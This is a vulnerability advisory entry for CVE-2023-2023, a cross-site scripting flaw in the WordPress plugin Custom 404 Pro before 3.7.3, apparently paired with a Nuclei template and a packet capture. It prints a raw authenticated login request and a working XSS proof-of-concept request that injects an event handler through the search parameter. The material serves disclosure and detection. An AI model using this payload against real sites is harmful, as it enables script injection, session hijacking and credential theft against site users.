| Title | Custom 404 Pro < 3.7.3 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Fixed in version 3.7.3 |
| CVSS Score | 6.1 |
| EPSS Score | 0.83097 |
| CVE ID | CVE-2023-2023 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve wpscan xss wordpress wp-plugin authenticated custom-404-pro intrusive kunalnagar vuln |
Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=Hu2WAZ&pwd=728yys&wp-submit=Log+In
GET /wp-admin/admin.php?page=c4p-main&s=38EtUg8nC1nsF2cBkPaf4bDzngR%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2023.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2023.pcap
N/AN/A